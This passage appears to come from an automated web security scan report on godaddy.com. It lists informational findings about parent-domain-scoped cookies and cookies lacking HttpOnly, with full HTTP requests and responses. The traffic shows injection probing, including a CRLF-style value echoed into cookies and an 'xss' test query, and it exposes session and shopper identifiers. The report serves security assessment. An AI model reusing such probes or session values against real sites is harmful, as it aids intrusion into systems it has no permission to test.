Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=19; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:07:18 GMT
Content-Length: 177000

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><
...[SNIP]...

10.38. http://www.godaddy.com/Domains/Controls/JsonContent/DotTypePricing.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/Domains/Controls/JsonContent/DotTypePricing.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/Domains/Controls/JsonContent/DotTypePricing.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=tab=general&callback=tabFill&targetDivId=tab2&tabFill=jsonp1316214560432&_=1316214560519&shopper=46215684&privatelabelid=1&isc=eebc2%0d%0&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/
currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:29 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Domains/Controls/JsonContent/DotTypePricing.aspx?tab=general&callback=tabFill&targetDivId=tab2&tabFill=jsonp1316214560432&_=1316214560519 HTTP/1.1
Host: www.godaddy.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/domains/search.aspx
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; ASP.NET_SessionId=kwd42kibl1s4hu55omguef55; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; HPBackground=DanicaImageTwo; pagecount=2; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; currency1=potableSourceStr=USD; adc1=US; traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/domains/search.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; BlueLithium_domainsearch=obsjsdjcfihcwgzeliqdtiigagkahckc; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/Domains/Controls/JsonContent/DotTypePricing.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=tab=general&callback=tabFill&targetDivId=tab2&tabFill=jsonp1316214560432&_=1316214560519&shopper=46215684&privatelabelid=1&isc=eebc2%0d%0&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:29 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:08:29 GMT
Content-Length: 30912

tabFill({"Html":"\r\n \u003cstyle type=\"text/css\"\u003e\r\n #pricing_table tr#table_header td#header_bg{background-image: url(http://img1.wsimg.com/fos/bkg/42293_chart_topbar.gif);backgrou
...[SNIP]...

10.39. http://www.godaddy.com/Domains/Controls/JsonContent/generalPricing.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/Domains/Controls/JsonContent/generalPricing.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:30 GMT; path=/
traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/Domains/Controls/JsonContent/generalPricing.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=TargetDivID=general_pricing_json_content&_=1316214561887&shopper=46215684&privatelabelid=1&isc=eebc2%0d%0&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Domains/Controls/JsonContent/generalPricing.aspx?TargetDivID=general_pricing_json_content&_=1316214561887 HTTP/1.1
Host: www.godaddy.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/domains/search.aspx
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; ASP.NET_SessionId=kwd42kibl1s4hu55omguef55; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; HPBackground=DanicaImageTwo; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; BlueLithium_domainsearch=obsjsdjcfihcwgzeliqdtiigagkahckc; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/Domains/Controls/JsonContent/DotTypePricing.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=tab=general&callback=tabFill&targetDivId=tab2&tabFill=jsonp1316214560432&_=1316214560519&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; currency1=potableSourceStr=USD; adc1=US; pagecount=2; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:30 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/Domains/Controls/JsonContent/generalPricing.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=TargetDivID=general_pricing_json_content&_=1316214561887&shopper=46215684&privatelabelid=1&isc=eebc2%0d%0&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:08:32 GMT
Content-Length: 68938

{"Html":"\r\n \u003cstyle type=\"text/css\"\u003e\r\n .general_year_header {font-weight:bold;background-color: #DDDDDD; color:#000;text-align:center;font-size: 13px;padding:5px;}\r\n .genera
...[SNIP]...

10.40. http://www.godaddy.com/domains/search.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/domains/search.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:28 GMT; path=/
traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/domains/search.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=71bf3%0d%0&clientip=50.23.123.106&referringpath=fb691c64-72f6-4f9a-b525-0b2548cfab03&referringdomain=&split=95; domain=godaddy.com; path=/
BlueLithium_domainsearch=jauafgggzbdbdhedqdvejhcgpjbacdnd; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /domains/search.aspx HTTP/1.1
Host: www.godaddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; ASP.NET_SessionId=kwd42kibl1s4hu55omguef55; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; HPBackground=DanicaImageTwo; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=2; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; currency1=potableSourceStr=USD; adc1=US; traffic=cookies=1&referrer=&sitename=mya.godaddy.com&page=/Default.aspx&server=M1PWMYAWEB003&status=200 OK&querystring=idpinfo=none&myaurl=%2fdefault.aspx&ci=13025&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95

Response

10.41. http://www.godaddy.com/gdshop/site_search.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/gdshop/site_search.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

traffic=server=M1PWCORPWEB181&sitename=www%2Egodaddy%2Ecom&cookies=1&clientip=50%2E23%2E123%2E106&status=200+OK&referrer=http%3A%2F%2Fwww%2Egodaddy%2Ecom%2F&isc=&privatelabelid=1&page=%2Fgdshop%2Fsite%5Fsearch%2Easp&referringdomain=&referringpath=2a590ae0%2D0ee8%2D47bd%2D8061%2Daf016da64611&shopper=46215684&querystring=ci%3D9104%26pageNum%3D1%26searchFor%3Dxss; domain=.godaddy.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /gdshop/site_search.asp?ci=9104&pageNum=1&searchFor=xss HTTP/1.1
Host: www.godaddy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/
Cookie: ASP.NET_SessionId=vb1jphe2sxzvygvmo3bblx55; preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; adc1=US; SplitValue1=19; HPBackground=DanicaImageOne; currency1=potableSourceStr=USD; flag1=cflag=us; currencypopin1=cdisplaypopin=false; traffic=; pathway=2a590ae0-0ee8-47bd-8061-af016da64611; pagecount=1; actioncount=; app_pathway=; visitor=vid=2a590ae0-0ee8-47bd-8061-af016da64611; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Response

10.42. http://www.godaddy.com/offers/hot-deals.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/hot-deals.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:32 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /offers/hot-deals.aspx?ci=13478 HTTP/1.1
Host: www.godaddy.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/domains/search.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; ASP.NET_SessionId=kwd42kibl1s4hu55omguef55; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; HPBackground=DanicaImageTwo; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; BlueLithium_domainsearch=obsjsdjcfihcwgzeliqdtiigagkahckc; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=2; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; currency1=potableSourceStr=USD; adc1=US; traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/Domains/Controls/JsonContent/generalPricing.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=TargetDivID=general_pricing_json_content&_=1316214561887&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95

Response

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455&isc=d0d8de1c80
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:32 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:08:32 GMT
Content-Length: 190

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455&isc=d0d8de1c80">here</a>.</h2>
</body></html>

10.43. http://www.godaddy.com/offers/hot-deals2.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/hot-deals2.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:35 GMT; path=/
traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/offers/hot-deals2.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=51455&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /offers/hot-deals2.aspx?ci=51455 HTTP/1.1
Host: www.godaddy.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/domains/search.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; ASP.NET_SessionId=kwd42kibl1s4hu55omguef55; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; HPBackground=DanicaImageTwo; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; BlueLithium_domainsearch=obsjsdjcfihcwgzeliqdtiigagkahckc; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=2; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/Domains/Controls/JsonContent/generalPricing.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=TargetDivID=general_pricing_json_content&_=1316214561887&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; currency1=potableSourceStr=USD; adc1=US

Response

10.44. http://www.godaddy.com/offers/jsoncontent/recommendedoffers.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/jsoncontent/recommendedoffers.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

traffic=cookies=1&referrer=http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455&sitename=www.godaddy.com&page=/offers/jsoncontent/recommendedoffers.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=51455%2c50960&callback=jsonContent._fill&targetDivId=tab1&jsonContent._fill=jQuery15108357319077476859_1316214566272&_=1316214567345&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /offers/jsoncontent/recommendedoffers.aspx?ci=51455%2c50960&callback=jsonContent._fill&targetDivId=tab1&jsonContent._fill=jQuery15108357319077476859_1316214566272&_=1316214567345 HTTP/1.1
Host: www.godaddy.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; ASP.NET_SessionId=kwd42kibl1s4hu55omguef55; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; HPBackground=DanicaImageTwo; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; BlueLithium_domainsearch=obsjsdjcfihcwgzeliqdtiigagkahckc; currency1=potableSourceStr=USD; adc1=US; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=3; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; traffic=

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=cookies=1&referrer=http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455&sitename=www.godaddy.com&page=/offers/jsoncontent/recommendedoffers.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=51455%2c50960&callback=jsonContent._fill&targetDivId=tab1&jsonContent._fill=jQuery15108357319077476859_1316214566272&_=1316214567345&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:08:36 GMT
Content-Length: 793

jsonContent._fill({"Html":"\r\n \u003cdiv class=\"dealstitle\"\u003e\r\n \u003ch3\u003eRecommended Offers\u003c/h3\u003e\r\n \u003ch4\u003eDo more online with special savings on the products yo
...[SNIP]...

10.45. http://www.godaddy.com/productadvisor/pastart.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/productadvisor/pastart.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:38 GMT; path=/
traffic=cookies=1&referrer=http://www.godaddy.com/gdshop/site_search.asp?ci=9104&pageNum=1&searchFor=xss&sitename=www.godaddy.com&page=/productadvisor/pastart.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=13108&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=2a590ae0-0ee8-47bd-8061-af016da64611&referringdomain=&split=19; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /productadvisor/pastart.aspx?ci=13108 HTTP/1.1
Host: www.godaddy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/gdshop/site_search.asp?ci=9104&pageNum=1&searchFor=xss
Cookie: ASP.NET_SessionId=vb1jphe2sxzvygvmo3bblx55; preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; adc1=US; SplitValue1=19; HPBackground=DanicaImageOne; currency1=potableSourceStr=USD; flag1=cflag=us; currencypopin1=cdisplaypopin=false; traffic=; pathway=2a590ae0-0ee8-47bd-8061-af016da64611; pagecount=2; actioncount=; app_pathway=; visitor=vid=2a590ae0-0ee8-47bd-8061-af016da64611; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMinorVer=0&fMajorVer=0&slMajorVer=-1&slMinorVer=-1; domainYardVal=%2D1; serverVersion=A; ASPSESSIONIDQCRSARQR=BGAMBCHBECAECHGCHMMADCKA

Response

10.46. http://www.godaddy.com/productadvisor/productadvisor.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/productadvisor/productadvisor.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:40 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /productadvisor/productadvisor.aspx?callback=atlPrdiFillDiv&commandname=setenv&params=lpage HTTP/1.1
Host: www.godaddy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/productadvisor/pastart.aspx?ci=13108
Cookie: ASP.NET_SessionId=vb1jphe2sxzvygvmo3bblx55; preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; adc1=US; SplitValue1=19; HPBackground=DanicaImageOne; currency1=potableSourceStr=USD; flag1=cflag=us; currencypopin1=cdisplaypopin=false; traffic=cookies=1&referrer=http://www.godaddy.com/gdshop/site_search.asp?ci=9104&pageNum=1&searchFor=xss&sitename=www.godaddy.com&page=/productadvisor/pastart.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=13108&shopper=&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=2a590ae0-0ee8-47bd-8061-af016da64611&referringdomain=&split=19; pathway=2a590ae0-0ee8-47bd-8061-af016da64611; pagecount=2; actioncount=; app_pathway=; visitor=vid=2a590ae0-0ee8-47bd-8061-af016da64611; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMinorVer=0&fMajorVer=0&slMajorVer=-1&slMinorVer=-1; domainYardVal=%2D1; serverVersion=A; ASPSESSIONIDQCRSARQR=BGAMBCHBECAECHGCHMMADCKA

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:40 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:07:39 GMT
Content-Length: 17622

atlPrdiFillDiv({"Html":"\u000d\u000a\u0009\u0009\u0009<div id=\"ProductAdvisorDiv\" style=\"display:block;\">\u000d\u000a\u0009\u0009\u0009\u0009<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\"
...[SNIP]...

11. Cookie without HttpOnly flag set previous next
There are 80 instances of this issue:

http://ads.adxpose.com/ads/ads.js
https://email.secureserver.net/
http://event.adxpose.com/event.flow
http://img.godaddy.com/image.aspx
http://img.godaddy.com/image.aspx
http://img.godaddy.com/pageevents.aspx
http://img.secureserver.net/image.aspx
http://mct.rkdms.com/sid.gif
http://portal.opera.com/
http://portal.opera.com/portal/tabs/
https://portal.opera.com/accounts/login/
http://tracking.searchmarketing.com/welcome.asp
http://www.amazon.com/gp/loader/jsonp
http://www.conversionruler.com/bin/tracker.php
http://www.ubmlive.com/image/image_gallery
http://ad.yieldmanager.com/pixel
http://amch.questionmarket.com/adsc/d887846/17/909940/adscout.php
http://amch.questionmarket.com/adsc/d922317/2/43977402/decide.php
http://apis.google.com/js/plusone.js
http://b.scorecardresearch.com/b
http://bstats.adbrite.com/click/bstats.gif
http://d.adroll.com/check/4LZ2WHLFKZGJBDJQYVBYXX/USFQSVPCUNEC3MWWKVX6RH/NQ5TTRI2MVGQHFZLQL6SMW
http://d.adroll.com/pixel/4LZ2WHLFKZGJBDJQYVBYXX/USFQSVPCUNEC3MWWKVX6RH
http://drugstore.com/
http://go.icontact.com/SEM/AP
